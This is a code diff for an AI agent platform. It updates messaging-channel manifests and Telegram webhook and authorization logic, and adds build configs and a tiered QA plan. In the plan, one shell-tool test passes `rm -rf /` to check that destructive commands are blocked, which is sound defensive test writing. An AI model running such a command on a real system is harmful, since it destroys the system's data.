"description": "Slack Events API channel for receiving and responding to Slack messages",
@@ -6,15 +8,16 @@
"required_secrets": [
{
"name": "slack_bot_token",
"prompt": "Enter your Slack Bot OAuth Token (xoxb-...)",
"prompt": "Enter your Slack Bot User OAuth Token (starts with xoxb-). Find it under OAuth & Permissions in your Slack App settings.",
"optional": false
},
{
"name": "slack_signing_secret",
"prompt": "Enter your Slack Signing Secret (from App Credentials)",
"prompt": "Enter your Slack App Signing Secret (found under Basic Information > App Credentials in your Slack App settings).",
"optional": false
}
]
],
"setup_url": "https://api.slack.com/apps"
},
"capabilities": {
"http": {
@@ -43,6 +46,9 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"hmac_secret_name": "slack_signing_secret"
}
}
},
+79 -46
View File
@@ -373,19 +373,19 @@ impl Guest for TelegramChannel {
"Webhook mode enabled (tunnel configured)",
);
// Register webhook with Telegram API
// Register webhook with Telegram API — propagate errors so a bad token
// causes activation to fail rather than silently succeeding.
if let Some(ref tunnel_url) = config.tunnel_url {
// Clear any stale webhook first to avoid 409 Conflict
let _ = delete_webhook();
channel_host::log(
channel_host::LogLevel::Info,
&format!("Registering webhook: {}/webhook/telegram", tunnel_url),
);
if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to register webhook: {}", e),
);
}
register_webhook(tunnel_url, config.webhook_secret.as_deref())
.map_err(|e| format!("Failed to register webhook: {}", e))?;
}
} else {
channel_host::log(
@@ -393,14 +393,10 @@ impl Guest for TelegramChannel {
"Polling mode enabled (no tunnel configured)",
);
// Delete any existing webhook before polling
// Telegram doesn't allow getUpdates while a webhook is active
if let Err(e) = delete_webhook() {
channel_host::log(
channel_host::LogLevel::Warn,
&format!("Failed to delete webhook (may not exist): {}", e),
);
}
// Delete any existing webhook before polling. Telegram returns success
// when no webhook exists, so any error here (e.g. 401) means a bad token.
delete_webhook()
.map_err(|e| format!("Bot token validation failed: {}", e))?;
}
// Configure polling only if not in webhook mode
@@ -901,36 +897,61 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
None,
);
match result {
Ok(response) => {
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
return Err(format!("HTTP {}: {}", response.status, body_str));
}
let mut response = match result {
Ok(response) => response,
Err(e) => return Err(format!("HTTP request failed: {}", e)),
};
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
let mut retried = false;
if response.status == 409 {
channel_host::log(
channel_host::LogLevel::Warn,
"409 Conflict -- deleting existing webhook and retrying",
);
let _ = delete_webhook();
retried = true;
if !api_response.ok {
return Err(format!(
"Telegram API error: {}",
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully: {}", webhook_url),
);
Ok(())
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
response = match channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook",
&headers.to_string(),
Some(&body_bytes),
None,
) {
Ok(resp) => resp,
Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)),
};
}
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!("HTTP {}{}: {}", response.status, context, body_str));
}
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
if !api_response.ok {
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!(
"Telegram API error{}: {}",
context,
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
let context = if retried { " (after retry)" } else { "" };
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully{}: {}", context, webhook_url),
);
Ok(())
}
// ============================================================================
@@ -1011,11 +1032,14 @@ fn handle_message(message: TelegramMessage) {
return;
}
}
} else if is_private {
// No owner_id: apply dm_policy for private chats
} else {
// No owner_id: apply authorization based on dm_policy and allow_from
// This applies to both private and group chats when owner_id is null
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
// For private chats with non-open policy, check allowlist
// For group chats with non-open policy, also check allowlist
if dm_policy != "open" {
// Build effective allow list: config allow_from + pairing store
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
@@ -1033,8 +1057,8 @@ fn handle_message(message: TelegramMessage) {
|| username_opt.map_or(false, |u| allowed.contains(&u.to_string()));
if !is_allowed {
if dm_policy == "pairing" {
// Upsert pairing request and send reply
if is_private && dm_policy == "pairing" {
// Upsert pairing request and send reply (only for private chats)
let meta = serde_json::json!({
"chat_id": message.chat.id,
"user_id": from.id,
@@ -1062,6 +1086,15 @@ fn handle_message(message: TelegramMessage) {
);
}
}
} else if !is_private {
// For group chats with non-open dm_policy, just log and drop
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping message from unauthorized user {} in group chat",
from.id
),
);
}
return;
}
@@ -1,4 +1,6 @@
{
"version": "0.1.0",
"wit_version": "0.2.0",
"type": "channel",
"name": "telegram",
"description": "Telegram Bot API channel for receiving and responding to Telegram messages",
@@ -9,7 +11,8 @@
"prompt": "Enter your Telegram Bot API token (from @BotFather)",
"optional": false
}
]
],
"setup_url": "https://t.me/BotFather"
},
"capabilities": {
"http": {
@@ -39,6 +42,10 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"secret_header": "X-Telegram-Bot-Api-Secret-Token",
"secret_name": "telegram_webhook_secret"
}
}
},
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the WhatsApp channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - whatsapp.wasm - WASM component ready for deployment
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building WhatsApp channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
# Optimize the component
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your access token to secrets:"
echo " # Set whatsapp_access_token in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
@@ -1,4 +1,6 @@
{
"version": "0.1.0",
"wit_version": "0.2.0",
"type": "channel",
"name": "whatsapp",
"description": "WhatsApp Cloud API channel for receiving and responding to WhatsApp messages",
@@ -6,7 +8,7 @@
"required_secrets": [
{
"name": "whatsapp_access_token",
"prompt": "Enter your WhatsApp Cloud API access token (from Meta Developer Portal)",
"prompt": "Enter your WhatsApp Cloud API permanent access token (from the Meta Developer Portal under your app's WhatsApp > API Setup).",
"validation": "^[A-Za-z0-9_-]+$"
},
{
@@ -16,7 +18,8 @@
"auto_generate": { "length": 32 }
}
],
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}"
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}",
"setup_url": "https://developers.facebook.com/apps"
},
"capabilities": {
"http": {
+8
View File
@@ -0,0 +1,8 @@
# Complexity guardrails for AI-assisted development quality.
# These thresholds prevent new violations while preserving existing code.
# See: https://github.com/nearai/ironclaw/issues/338
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
+10
View File
@@ -0,0 +1,10 @@
coverage:
status:
project:
default:
target: auto
threshold: 1%
patch:
default:
target: 80%
threshold: 5%
+9
View File
@@ -24,6 +24,15 @@ GATEWAY_HOST=0.0.0.0
GATEWAY_PORT=3000
GATEWAY_AUTH_TOKEN=CHANGE_ME
# Restart Feature (Docker containers only)
# IMPORTANT: Set this in the container entrypoint or docker-compose to enable restart.
# The Docker entrypoint loop monitors exit codes:
# - Exit code 0 = clean restart: reset failure counter, wait IRONCLAW_RESTART_DELAY, restart
# - Exit code ≠ 0 = failure: increment counter, exit after IRONCLAW_MAX_FAILURES
IRONCLAW_IN_DOCKER=false
IRONCLAW_RESTART_DELAY=5 # seconds to wait before restarting (range: 1-30)
IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits
# Disabled for initial deploy
SANDBOX_ENABLED=false
HEARTBEAT_ENABLED=false
+908
View File
@@ -0,0 +1,908 @@
# Automated QA Plan for IronClaw
**Date:** 2026-02-24
**Status:** Draft
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
---
## Motivation
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
| Category | Examples | Root Cause |
|----------|----------|------------|
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
---
## Tier 1: Schema & Contract Tests
**Cost:** Low (pure Rust tests, no infrastructure)
**Timeline:** Can land incrementally, one PR per sub-task
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
### 1.1 Tool Schema Validator
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
- Top-level has `"type": "object"`
- Every key in `"required"` exists in `"properties"`
- Every property has a `"type"` field
- No `additionalProperties` unless explicitly set
- Nested objects follow the same rules recursively
```rust
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
#[test]
fn all_tool_schemas_are_openai_strict_valid() {
let registry = ToolRegistry::new();
register_all_builtins(&mut registry);
for tool in registry.all_tools() {
let schema = tool.parameters_schema();
validate_strict_schema(&schema, &tool.name())
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
}
}
```
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
### 1.2 Config Round-Trip Tests
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
Cover the specific bugs found:
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
- Session token stored under `nearai.session_token` (not `nearai.session`)
```rust
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
// Simulate restart: load from env file
dotenv::from_path(&env_path).unwrap();
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
}
```
**Files:** New `tests/config_round_trip.rs`
### 1.3 Feature-Flag CI Matrix
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
Add a CI matrix:
```yaml
# .github/workflows/test.yml
strategy:
matrix:
features:
- "--all-features"
- "" # default features only
- "--no-default-features --features libsql"
steps:
- name: Run Tests
run: cargo test ${{ matrix.features }} -- --nocapture
```
Update `code_style.yml` to also run clippy with `--all-features`:
```yaml
- name: Check lints (all features)
run: cargo clippy --all-features -- -D warnings
- name: Check lints (libsql only)
run: cargo clippy --no-default-features --features libsql -- -D warnings
```
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
### 1.4 Docker Build in CI
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
```yaml
# .github/workflows/test.yml - new job
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
```
**Files:** Modify `.github/workflows/test.yml`
---
## Tier 2: Integration Tests
**Cost:** Medium (needs test harnesses, possibly testcontainers)
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
### 2.1 Test Harness: In-Memory Database Backend
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
```rust
// src/testing.rs
pub async fn test_db() -> impl Database {
let backend = LibSqlBackend::open_in_memory().await.unwrap();
backend.run_migrations().await.unwrap();
backend
}
```
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
### 2.2 Turn Persistence Tests
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
```rust
#[tokio::test]
async fn approved_tool_call_persists_turn() {
let db = test_db().await;
let mut agent = TestAgent::new(db);
// Create a turn with a pending tool call
agent.submit("search for cats").await;
// Simulate tool approval
agent.approve_tool_call(0).await;
// Verify turn is in DB (not just in memory)
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
assert!(turns.iter().any(|t| t.has_tool_result()));
}
```
Cover:
- Approved tool call with successful result
- Approved tool call with error result
- Approved tool call requiring auth
- Deferred tool call with auth
- User message persisted before agent loop starts (not after)
**Files:** New `tests/turn_persistence.rs`
### 2.3 WASM Channel Lifecycle Tests
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
```rust
#[tokio::test]
async fn wasm_channel_workspace_writes_are_flushed() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Simulate a callback that writes workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// Verify writes were captured
let writes = wrapper.take_pending_writes();
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
}
#[tokio::test]
async fn wasm_channel_workspace_read_returns_prior_writes() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Inject workspace data
wrapper.inject_workspace_entry("polling_offset", b"12345");
// Simulate a callback that reads workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// The channel should have used the injected offset (not 0)
// Verify by checking the getUpdates call offset parameter
}
```
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
### 2.4 Extension Registry Collision Tests
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
```rust
#[tokio::test]
async fn channel_and_tool_with_same_name_dont_collide() {
let registry = TestRegistry::new();
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
assert!(registry.tools_dir().join("telegram").exists());
assert!(registry.channels_dir().join("telegram").exists());
// Both resolve independently
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
}
```
**Files:** New `tests/registry_collision.rs`
### 2.5 Shell Tool Realistic Arg Tests
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
```rust
#[tokio::test]
async fn destructive_command_blocked_with_object_args() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "rm -rf /"
});
// This is how the LLM actually sends args -- as an Object, not a String
let result = shell.execute(params, &test_context()).await;
assert!(result.is_err() || result.unwrap().contains("blocked"));
}
```
Also test pipe deadlock prevention with large output:
```rust
#[tokio::test]
async fn shell_handles_large_output_without_deadlock() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
});
let result = tokio::time::timeout(
Duration::from_secs(10),
shell.execute(params, &test_context())
).await;
assert!(result.is_ok(), "shell tool deadlocked on large output");
}
```
**Files:** Extend `src/tools/builtin/shell.rs` tests
### 2.6 Failover and Circuit Breaker Edge Cases
```rust
#[test]
fn cooldown_activation_at_zero_nanos() {
let mut cooldown = ProviderCooldown::new();
// Edge case: if system clock returns 0 (or test mock does)
cooldown.activate_cooldown(0);
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
}
#[tokio::test]
async fn failover_with_all_providers_failing() {
let failover = FailoverProvider::new(vec![
always_failing_provider("a]"),
always_failing_provider("b"),
]);
let result = failover.chat(&[]).await;
assert!(result.is_err());
// Must not panic (the old .expect() bug)
}
```
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
### 2.7 Context Length Recovery Test
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
```rust
#[tokio::test]
async fn context_length_exceeded_triggers_compaction() {
let mut agent = TestAgent::with_provider(
ContextLimitMockProvider::new(fail_after_n_turns: 3)
);
// Send enough messages to trigger context limit
for i in 0..5 {
agent.submit(&format!("message {i}")).await;
}
// Agent should have compacted and continued, not errored
assert!(agent.last_response().is_ok());
assert!(agent.compaction_count() > 0);
}
```
**Files:** New `tests/context_recovery.rs`
---
## Tier 3: Computer-Use E2E Testing
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
### 3.1 Architecture
```
+------------------+ +-----------------+ +------------------+
| Test Runner | | Headless | | IronClaw |
| (Python/TS) |---->| Chromium |---->| (cargo run) |
| | | (Playwright) | | GATEWAY=true |
| Orchestrates | | | | port 3001 |
| scenarios | | Screenshots | | |
+--------+---------+ +--------+--------+ +------------------+
| |
v v
+------------------+ +-----------------+
| Claude | | Assertion |
| Computer Use | | Engine |
| API | | (visual + |
| (screenshot → | | DOM-based) |
| action) | | |
+------------------+ +-----------------+
```
**Components:**
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
4. **Assertion engine** -- Hybrid approach:
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
### 3.2 Test Infrastructure Setup
**Directory structure:**
```
tests/
e2e/
conftest.py # pytest fixtures: start ironclaw, browser
computer_use.py # Claude computer use client wrapper
assertions.py # DOM + visual assertion helpers
scenarios/
test_connection.py
test_chat.py
test_skills.py
test_sse_reconnect.py
test_onboarding.py
test_html_injection.py
test_tool_approval.py
screenshots/ # Reference screenshots (gitignored)
Dockerfile.test # Container for CI: ironclaw + chromium
```
**Fixture: start ironclaw**
```python
@pytest.fixture(scope="session")
async def ironclaw_server():
"""Start ironclaw with gateway enabled, return base URL."""
env = {
"CLI_ENABLED": "false",
"GATEWAY_ENABLED": "true",
"GATEWAY_PORT": "3001",
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
"GATEWAY_USER_ID": "e2e-tester",
"LLM_BACKEND": "openai_compatible", # or mock
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
}
proc = await asyncio.create_subprocess_exec(
"cargo", "run", "--features", "libsql",
env={**os.environ, **env},
)
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
yield "http://127.0.0.1:3001"
proc.terminate()
```
**Fixture: browser with computer use**
```python
@pytest.fixture
async def browser_agent(ironclaw_server):
"""Playwright browser + Claude computer use agent."""
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page(viewport={"width": 1280, "height": 720})
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
agent = ComputerUseAgent(page)
yield agent
await browser.close()
```
**Computer use wrapper:**
```python
class ComputerUseAgent:
"""Drives the browser via Claude computer use API."""
def __init__(self, page: Page):
self.page = page
self.client = anthropic.Anthropic()
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
"""
Give a natural-language instruction, let Claude drive the browser.
Returns a list of observations/assertions from Claude.
"""
messages = [{"role": "user", "content": instruction}]
observations = []
for _ in range(max_steps):
screenshot = await self.take_screenshot()
response = self.client.messages.create(
model="claude-sonnet-4-20250514",
max_tokens=1024,
tools=[{
"type": "computer_20250124",
"name": "computer",
"display_width_px": 1280,
"display_height_px": 720,
}],
messages=messages,
)
# Process tool use blocks (click, type, screenshot, etc.)
for block in response.content:
if block.type == "tool_use":
result = await self.execute_action(block.input)
messages.append({"role": "assistant", "content": response.content})
messages.append({"role": "user", "content": [result]})
elif block.type == "text":
observations.append(block.text)
if response.stop_reason == "end_turn":
break
return observations
async def take_screenshot(self) -> bytes:
return await self.page.screenshot(type="png")
async def execute_action(self, action: dict) -> dict:
"""Translate Claude's computer use action to Playwright calls."""
if action["action"] == "click":
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
elif action["action"] == "type":
await self.page.keyboard.type(action["text"])
elif action["action"] == "scroll":
await self.page.mouse.wheel(0, action["coordinate"][1])
elif action["action"] == "key":
await self.page.keyboard.press(action["text"])
# Return screenshot after action
screenshot = await self.take_screenshot()
return {"type": "tool_result", "content": [
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
"data": base64.b64encode(screenshot).decode()}}
]}
```
### 3.3 Test Scenarios
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
#### Scenario 1: Connection and Tab Navigation
```python
async def test_connection_and_tabs(browser_agent):
"""Bugs: #306 (orphan threads on null threadId during page load)"""
observations = await browser_agent.execute_scenario("""
1. Look at the page. Verify there is a "Connected" indicator visible.
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
3. For each tab, verify the panel content changes and no error messages appear.
4. Return to the Chat tab.
5. Report what you see for each tab.
""")
# DOM assertions (fast, deterministic)
page = browser_agent.page
assert await page.locator(".connection-status.connected").count() > 0
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
```
#### Scenario 2: Chat Message Round-Trip
```python
async def test_chat_sends_and_receives(browser_agent):
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
observations = await browser_agent.execute_scenario("""
1. Click on the chat input box at the bottom.
2. Type "Hello, what is 2+2?" and press Enter.
3. Wait for the assistant to respond (you should see a streaming response).
4. Verify the assistant's response appears below your message.
5. Report the assistant's response.
""")
page = browser_agent.page
# At least 2 messages: user + assistant
messages = await page.locator(".message").count()
assert messages >= 2
# No error toasts
assert await page.locator(".toast.error").count() == 0
```
#### Scenario 3: SSE Reconnect
```python
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
page = browser_agent.page
# Step 1: Send a message
await browser_agent.execute_scenario("""
Type "Remember this: the secret word is platypus" in the chat and press Enter.
Wait for the response.
""")
msg_count_before = await page.locator(".message").count()
# Step 2: Kill and restart the server
# (test fixture provides a restart helper)
await restart_ironclaw(ironclaw_server)
# Step 3: Wait for reconnect
await page.wait_for_selector(".connection-status.connected", timeout=30000)
# Step 4: Verify message history is preserved
msg_count_after = await page.locator(".message").count()
assert msg_count_after >= msg_count_before, \
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
```
#### Scenario 4: Skills Search, Install, Remove
```python
async def test_skills_lifecycle(browser_agent):
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
# Override confirm() to auto-accept
await browser_agent.page.evaluate("window.confirm = () => true")
observations = await browser_agent.execute_scenario("""
1. Click the "Skills" tab.
2. Look for a search box. Type "markdown" and press Enter or click Search.
3. Wait for results to appear.
4. Verify results show: name, version, description.
5. Click "Install" on the first result.
6. Wait for a success notification.
7. Verify the skill now appears in the "Installed Skills" section.
8. Click "Remove" on the skill you just installed.
9. Wait for a success notification.
10. Verify the skill is gone from the installed list.
11. Report what happened at each step.
""")
# Final state: no installed skills (we removed what we installed)
page = browser_agent.page
await page.click('[data-tab="skills"]')
# Should not have the test skill installed
```
#### Scenario 5: HTML Injection Defense
```python
async def test_html_injection_sanitized(browser_agent):
"""Bug: #263 (HTML error pages injected into UI, still open)"""
# This requires a mock LLM that returns HTML in tool output
# or we craft a message that triggers tool output containing HTML
page = browser_agent.page
await browser_agent.execute_scenario("""
Type this exact message in the chat and press Enter:
"Please use the http tool to fetch https://httpbin.org/html"
Wait for the response.
""")
# The page should NOT have raw HTML rendering from the tool output
# Check that no unexpected <h1> or full <html> documents appear
body_html = await page.inner_html("body")
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
"Raw HTML from tool output was injected unsanitized into the page"
```
#### Scenario 6: Tool Approval Overlay
```python
async def test_tool_approval_overlay(browser_agent):
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
observations = await browser_agent.execute_scenario("""
1. Type "Run the shell command: echo hello world" in chat and press Enter.
2. If an approval dialog appears, click "Approve" or "Allow".
3. Wait for the result.
4. Verify the output includes "hello world".
5. Report what you see.
""")
```
#### Scenario 7: Onboarding Wizard (Full Flow)
```python
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
# Start ironclaw with a fresh home directory (no prior config)
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
# if/when one exists. For now, test the CLI wizard via expect-style automation.
proc = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=60,
)
# Step through wizard
proc.expect("Welcome to IronClaw")
proc.expect("LLM Backend")
proc.sendline("1") # Select first option
# ... continue through all 7 steps ...
proc.expect("Setup complete")
proc.close()
# Restart and verify wizard does NOT re-trigger
proc2 = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=30,
)
proc2.expect("Agent ironclaw ready") # Should skip wizard
# Must NOT see "Welcome to IronClaw" again
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
proc2.close()
```
### 3.4 LLM Backend for E2E Tests
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
Recommendation: Start with local Ollama for development, mock LLM server for CI.
### 3.5 CI Integration
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * *" # Daily at 6 AM UTC
workflow_dispatch: # Manual trigger
jobs:
e2e:
runs-on: ubuntu-latest
services:
ollama:
image: ollama/ollama:latest
steps:
- uses: actions/checkout@v6
- name: Build ironclaw
run: cargo build --features libsql
- name: Install Playwright
run: pip install playwright pytest-playwright && playwright install chromium
- name: Pull test model
run: ollama pull qwen2.5:0.5b
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=300
env:
LLM_BACKEND: openai_compatible
LLM_BASE_URL: http://localhost:11434/v1
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
```
---
## Tier 4: Chaos and Resilience Testing
**Cost:** Medium (needs mock providers, time-control utilities)
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
### 4.1 LLM Provider Chaos
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
```rust
/// Provider that fails N times then succeeds
struct FlakeyProvider { failures_remaining: AtomicU32 }
/// Provider that returns ContextLengthExceeded after N messages
